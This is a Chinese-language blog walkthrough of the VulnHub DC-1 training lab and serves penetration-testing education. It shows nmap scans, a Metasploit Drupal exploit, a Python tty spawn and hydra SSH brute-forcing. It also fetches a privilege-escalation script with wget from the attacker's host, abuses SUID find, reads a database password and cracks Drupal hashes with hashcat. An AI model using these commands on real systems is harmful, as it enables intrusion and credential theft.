靶机地址
难度:初级
靶机发布日期:2019年2月28日
靶机描述:DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total
, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
netdiscover
nmap
metaspaloit
drush
hashcat
hydra
靶机IP:192.168.0.119
netdiscover -r 192.168.0.0/24
nmap -PR 192.168.0.0/24
nmap -sS -sV -T4 -A -p- 192.168.0.119
MSF搜索“drupal”,优先选择Rank为excellent模块
msfconsole
search drupal
这里试过了exploit/unix/webapp/drupal_coder_exec,没有成功
use exploit/unix/webapp/drupal_coder_exec
show options
setg rhosts 192.168.0.119 # setg 意为设置全局参数,可以用unsetg取消设置
关于更多MSF命令,可以参考MSF之命令笔记篇,当然也可以读官方的使用手册
getshell后的第一件事情是使用Python命令获取一个正常的tty,否则有些命令可能无法执行
python -c 'import pty; pty.spawn("/bin/bash")'
通常情况下都是先检查一下当前目录,ls -lath之后发现flag1.txt
有时候你在查看了一个文件之后,想清空一下屏幕,你可能会用clear命令,但是在我们得到的shell中你可能会遇到下图中的错误提示
export TERM=screen
查看/etc/passwd,得到flag4的位置
本以为www-data用户是没有权限读取flag4的,结果却是可以的
nmap扫描的时候发现了ssh服务,前面我们又发现了flag4用户,所以尝试使用hydra进行密码的暴力猜解,随后得到用户名密码flag4/orange
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
查找SUID权限可执行文件,发现了/usr/bin/find
find / -perm -u=s -type f 2>/dev/null
这个靶机一共5个flag,还有flag2和flag3没找到。本来想find查找一下的,结果没找到
Drupal 7支持三种数据库:MySQL与变体Maria DB, PostgreSQL和SQLite
所以我这里使用netstat查一下是否运行MySQL数据库
为什么有这个想法?纯属经验……
可以看到3306端口处于监听状态,一般运行的服务都是MySQL,且只允许本地访问。尝试使用root登录,但是需要密码
还记得flag1的内容吗?Every good CMS needs a config file - and so do you.
查看一下Drupal的配置文件
Google搜索之后发现它的配置文件在webroot目录(这个靶机是/var/www)下的/sites/all/modules/domain/settings.inc,结果访问的时候说没有这个文件
后面发现有个数据库配置文件/sites/default/settings.php
使用dbuser/R0ck3t登录数据库
admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
使用hashcat爆破,Hash modes设置为7900,对应的参数就是-m,因为Drupal7对应的Hash modes为7900,可以通过hashcat --help
查看
hashcat使用方法:Hashcat的使用手册总结
我是放在自己的Ubuntu上跑的,结果说什么不支持……,搜索了一下说是需要安装其他软件apt-get install ocl-icd-libopencl1 opencl-headers clinfo
装好之后重新跑了一下,嗯~我的本本配置还是有点差,跑的过程中截个图都是卡卡的……
因为CSDN给图片加水印的缘故,我不得不打开图片,然后重新截了图,可喜可贺的是我们得到了Fred的密码:MyPassword
使用Fred/MyPassword登录网站控制台,但是登录上去之后没有找到flag3,除了可以修改个人信息、添加文章之后没有其他的东西了
下面会使用到一个专门用于管理Drupal的shell接口,通过它我们可以修改任意用户的密码,毕竟我们现在有root权限。
之所以会想到这个方法是因为我之前接触过drush,仅此而已。drush使用可参考Drush的初学者指南:Drupal Shell
修改admin用户的密码,然后使用admin账户登录网站控制台
其实这个flag3的内容就提示了提权的思路,PERMS和FIND就是find -perm -u=s
OK,至此5个flag都得到了。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.